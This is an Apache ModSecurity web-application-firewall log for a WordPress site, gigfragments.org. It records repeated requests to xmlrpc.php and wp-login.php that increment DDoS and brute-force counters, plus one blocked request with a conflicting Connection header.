[Sun Dec 21 22:57:46.600532 2025] [:error] [pid 30183:tid 30191] [client 119.59.120.42:42118] [client 119.59.120.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 119.59.120.42, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUgK6uCmP2zCzk_WZcU2RgAAAQY"]
[Sun Dec 21 22:57:49.212646 2025] [:error] [pid 59068:tid 59106] [client 119.59.120.42:42132] [client 119.59.120.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 119.59.120.42, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUgK7RmLyLqWUlrjwye3lAAAAEU"]
[Sun Dec 21 22:58:04.662170 2025] [:error] [pid 42755:tid 42781] [client 38.242.209.73:48134] [client 38.242.209.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.242.209.73, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUgK_OW0XvxgXMTJJbv_XgAAAVg"]
[Sun Dec 21 22:58:08.156967 2025] [:error] [pid 30183:tid 30206] [client 38.242.209.73:59558] [client 38.242.209.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.242.209.73, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUgLAOCmP2zCzk_WZcU2bgAAARU"]
[Sun Dec 21 22:58:10.746465 2025] [:error] [pid 59068:tid 59119] [client 38.242.209.73:59566] [client 38.242.209.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.242.209.73, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUgLAhmLyLqWUlrjwye3vAAAAFI"]
[Sun Dec 21 22:58:25.211264 2025] [:error] [pid 59158:tid 59163] [client 157.90.248.179:41952] [client 157.90.248.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.90.248.179, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUgLEY7NvyNF8ab5VgVxWgAAAMM"]
[Sun Dec 21 22:58:28.038665 2025] [:error] [pid 30183:tid 30198] [client 157.90.248.179:41966] [client 157.90.248.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.90.248.179, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUgLFOCmP2zCzk_WZcU2jwAAAQ0"]
[Sun Dec 21 22:58:30.718290 2025] [:error] [pid 59067:tid 59094] [client 157.90.248.179:41974] [client 157.90.248.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.90.248.179, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUgLFstpsOP1NfIK_qKMTQAAABQ"]
[Sun Dec 21 22:58:41.607189 2025] [:error] [pid 59070:tid 59141] [client 35.184.243.115:43802] [client 35.184.243.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.184.243.115, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUgLIX3dhXne9KX1kgJ4xwAAAI0"]
[Sun Dec 21 22:58:43.712703 2025] [:error] [pid 59158:tid 59176] [client 35.184.243.115:43806] [client 35.184.243.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.184.243.115, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUgLI47NvyNF8ab5VgVxjwAAANA"]
[Sun Dec 21 22:58:45.773169 2025] [:error] [pid 59068:tid 59113] [client 35.184.243.115:43812] [client 35.184.243.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.184.243.115, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUgLJRmLyLqWUlrjwye33wAAAEw"]
[Sun Dec 21 22:59:01.060327 2025] [:error] [pid 59070:tid 59129] [client 222.255.128.156:57840] [client 222.255.128.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 222.255.128.156, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUgLNX3dhXne9KX1kgJ5BQAAAIE"]
[Sun Dec 21 22:59:01.797681 2025] [:error] [pid 59067:tid 59079] [client 35.225.180.227:36276] [client 35.225.180.227] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.225.180.227, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUgLNctpsOP1NfIK_qKMhwAAAAU"]
[Sun Dec 21 22:59:03.291599 2025] [:error] [pid 59067:tid 59076] [client 222.255.128.156:57939] [client 222.255.128.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 222.255.128.156, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUgLN8tpsOP1NfIK_qKMlgAAAAI"]
[Sun Dec 21 22:59:04.013420 2025] [:error] [pid 30183:tid 30206] [client 35.225.180.227:36278] [client 35.225.180.227] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.225.180.227, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUgLOOCmP2zCzk_WZcU2vAAAARU"]
[Sun Dec 21 22:59:06.420664 2025] [:error] [pid 42755:tid 42760] [client 35.225.180.227:36284] [client 35.225.180.227] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.225.180.227, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUgLOuW0XvxgXMTJJbv_sgAAAUM"]
[Sun Dec 21 22:59:06.905504 2025] [:error] [pid 65237:tid 65263] [client 222.255.128.156:58075] [client 222.255.128.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 222.255.128.156, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUgLOlVJYjxIpnUJfgJnxgAAAZg"]
[Sun Dec 21 23:01:47.273019 2025] [:error] [pid 65237:tid 65240] [client 193.141.65.45:54466] [client 193.141.65.45] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 193.141.65.45, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUgL21VJYjxIpnUJfgJo9gAAAYE"]
[Sun Dec 21 23:02:00.214090 2025] [:error] [pid 42755:tid 42763] [client 193.141.65.45:60614] [client 193.141.65.45] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 193.141.65.45, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUgL6OW0XvxgXMTJJbsA-QAAAUY"]
[Sun Dec 21 23:02:03.837910 2025] [:error] [pid 59068:tid 59108] [client 193.141.65.45:60622] [client 193.141.65.45] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 193.141.65.45, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUgL6xmLyLqWUlrjwye5VgAAAEc"]
[Sun Dec 21 23:25:06.986494 2025] [:error] [pid 59068:tid 59119] [client 66.175.44.60:39504] [client 66.175.44.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.175.44.60, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUgRUhmLyLqWUlrjwye_egAAAFI"]
[Sun Dec 21 23:25:12.262301 2025] [:error] [pid 59068:tid 59120] [client 66.175.44.60:39504] [client 66.175.44.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.175.44.60, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUgRWBmLyLqWUlrjwye_lAAAAFM"], referer: https://gigfragments.org/wp-login.php
[Sun Dec 21 23:39:56.914903 2025] [:error] [pid 59068:tid 59101] [client 208.85.16.144:52422] [client 208.85.16.144] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.85.16.144, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUgUzBmLyLqWUlrjwyfD7AAAAEA"]
[Sun Dec 21 23:39:56.915018 2025] [:error] [pid 59068:tid 59122] [client 208.85.16.144:52423] [client 208.85.16.144] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.85.16.144, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUgUzBmLyLqWUlrjwyfD7QAAAFU"]
[Sun Dec 21 23:47:43.366939 2025] [:error] [pid 59158:tid 59184] [client 66.175.44.60:43830] [client 66.175.44.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.175.44.60, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUgWn47NvyNF8ab5VgWGAAAAANg"]
[Sun Dec 21 23:47:47.212153 2025] [:error] [pid 59158:tid 59182] [client 66.175.44.60:43830] [client 66.175.44.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.175.44.60, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUgWo47NvyNF8ab5VgWGEQAAANY"], referer: https://gigfragments.org/wp-login.php
[Sun Dec 21 23:50:44.368444 2025] [:error] [pid 42755:tid 42781] [client 103.191.241.194:45496] [client 103.191.241.194] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.191.241.194, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUgXVOW0XvxgXMTJJbsOZQAAAVg"]
[Sun Dec 21 23:53:24.321690 2025] [:error] [pid 59070:tid 59152] [client 66.175.56.108:38246] [client 66.175.56.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.175.56.108, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUgX9H3dhXne9KX1kgKMHwAAAJg"]
[Sun Dec 21 23:53:26.857233 2025] [:error] [pid 59070:tid 59145] [client 66.175.56.108:38246] [client 66.175.56.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.175.56.108, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUgX9n3dhXne9KX1kgKMIQAAAJE"], referer: https://gigfragments.org/wp-login.php
[Mon Dec 22 00:01:36.714933 2025] [:error] [pid 59067:tid 59077] [client 66.175.56.92:44842] [client 66.175.56.92] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.175.56.92, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUgZ4MtpsOP1NfIK_qKb9QAAAAM"]
[Mon Dec 22 00:01:38.961707 2025] [:error] [pid 59067:tid 59084] [client 66.175.56.92:44842] [client 66.175.56.92] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.175.56.92, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUgZ4stpsOP1NfIK_qKb-AAAAAo"], referer: https://gigfragments.org/wp-login.php
[Mon Dec 22 00:57:53.890467 2025] [:error] [pid 45309:tid 45380] [client 146.70.180.53:59576] [client 146.70.180.53] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.70.180.53, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUgnEYitmFVpLjGlR3i9BAAAAMk"]
[Mon Dec 22 00:57:53.891001 2025] [:error] [pid 46374:tid 46390] [client 146.70.180.53:59577] [client 146.70.180.53] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.70.180.53, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUgnERLD7sK-wqrnXHUXZwAAAU4"]
[Mon Dec 22 01:30:13.107752 2025] [:error] [pid 45309:tid 45389] [client 47.251.116.156:41784] [client 47.251.116.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.251.116.156, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUgupYitmFVpLjGlR3jF5wAAANI"]
[Mon Dec 22 01:30:15.512666 2025] [:error] [pid 46374:tid 46388] [client 47.251.116.156:42270] [client 47.251.116.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.251.116.156, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUgupxLD7sK-wqrnXHUeIQAAAUw"]
[Mon Dec 22 01:30:18.712941 2025] [:error] [pid 45308:tid 45346] [client 47.251.116.156:42974] [client 47.251.116.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.251.116.156, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUguqmQKrTzAeGeriX3QjQAAAII"]
[Mon Dec 22 01:30:28.224495 2025] [:error] [pid 45308:tid 45346] [client 212.224.107.18:34460] [client 212.224.107.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.224.107.18, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUgutGQKrTzAeGeriX3QmgAAAII"]
[Mon Dec 22 01:30:32.489169 2025] [:error] [pid 45308:tid 45345] [client 212.224.107.18:34470] [client 212.224.107.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.224.107.18, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUguuGQKrTzAeGeriX3QngAAAIE"]
[Mon Dec 22 01:30:32.670588 2025] [:error] [pid 46343:tid 46369] [client 162.241.70.178:32808] [client 162.241.70.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.241.70.178, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUguuBzbW_u_EvstJwQplAAAABc"]
[Mon Dec 22 01:30:34.639642 2025] [:error] [pid 45309:tid 45377] [client 162.241.70.178:32904] [client 162.241.70.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.241.70.178, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUguuoitmFVpLjGlR3jF9AAAAMY"]
[Mon Dec 22 01:30:36.295203 2025] [:error] [pid 46403:tid 46427] [client 212.224.107.18:34484] [client 212.224.107.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.224.107.18, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUguvFuzQIlydmAwinpfGwAAAZY"]
[Mon Dec 22 01:30:37.132220 2025] [:error] [pid 46343:tid 46370] [client 162.241.70.178:33064] [client 162.241.70.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.241.70.178, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUguvRzbW_u_EvstJwQplwAAABg"]
[Mon Dec 22 01:30:56.547017 2025] [:error] [pid 46374:tid 46382] [client 118.31.245.146:59814] [client 118.31.245.146] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 118.31.245.146, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUgu0BLD7sK-wqrnXHUeRQAAAUY"]
[Mon Dec 22 01:30:59.244743 2025] [:error] [pid 45306:tid 45331] [client 118.31.245.146:59884] [client 118.31.245.146] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 118.31.245.146, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUgu09sL27CzxZxVWqQwcQAAAE8"]
[Mon Dec 22 01:31:02.827052 2025] [:error] [pid 45306:tid 45327] [client 118.31.245.146:59946] [client 118.31.245.146] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 118.31.245.146, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUgu1tsL27CzxZxVWqQwdwAAAEs"]
[Mon Dec 22 01:32:00.755708 2025] [:error] [pid 46374:tid 46387] [client 203.161.54.74:47004] [client 203.161.54.74] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.161.54.74, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUgvEBLD7sK-wqrnXHUefQAAAUs"]
[Mon Dec 22 01:32:03.309202 2025] [:error] [pid 46403:tid 46421] [client 203.161.54.74:34900] [client 203.161.54.74] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.161.54.74, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUgvE1uzQIlydmAwinpfbAAAAZA"]
[Mon Dec 22 01:32:05.390328 2025] [:error] [pid 45309:tid 45384] [client 203.161.54.74:34916] [client 203.161.54.74] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.161.54.74, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUgvFYitmFVpLjGlR3jGTQAAAM0"]
[Mon Dec 22 02:10:04.136612 2025] [:error] [pid 46374:tid 46396] [client 185.230.124.73:52473] [client 185.230.124.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.230.124.73, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUg3_BLD7sK-wqrnXHUmNAAAAVQ"]
[Mon Dec 22 02:10:04.156115 2025] [:error] [pid 45309:tid 45382] [client 185.230.124.73:52474] [client 185.230.124.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.230.124.73, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUg3_IitmFVpLjGlR3jQvAAAAMs"]
[Mon Dec 22 02:53:57.061467 2025] [:error] [pid 46374:tid 46399] [client 170.106.72.178:54322] [client 170.106.72.178] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aUhCRRLD7sK-wqrnXHUuLwAAAVc"]
[Mon Dec 22 03:09:57.717026 2025] [:error] [pid 45309:tid 45373] [client 115.98.234.230:60287] [client 115.98.234.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 115.98.234.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUhGBYitmFVpLjGlR3jf7QAAAMI"]
[Mon Dec 22 03:24:03.808010 2025] [:error] [pid 45308:tid 45357] [client 208.85.21.46:61241] [client 208.85.21.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.85.21.46, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUhJU2QKrTzAeGeriX32OgAAAI0"]
[Mon Dec 22 03:24:03.820776 2025] [:error] [pid 45308:tid 45355] [client 208.85.21.46:61240] [client 208.85.21.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.85.21.46, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUhJU2QKrTzAeGeriX32OwAAAIs"]
[Mon Dec 22 04:00:11.943884 2025] [:error] [pid 13822:tid 13856] [client 103.90.227.32:33102] [client 103.90.227.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.90.227.32, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUhRy6BRslu-iFMu1rrPigAAABg"]
[Mon Dec 22 04:00:16.632660 2025] [:error] [pid 13822:tid 13840] [client 103.90.227.32:33110] [client 103.90.227.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.90.227.32, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUhR0KBRslu-iFMu1rrPkAAAAAg"]
[Mon Dec 22 04:00:18.671639 2025] [:error] [pid 13822:tid 13844] [client 103.90.227.32:33126] [client 103.90.227.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.90.227.32, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUhR0qBRslu-iFMu1rrPkwAAAAw"]
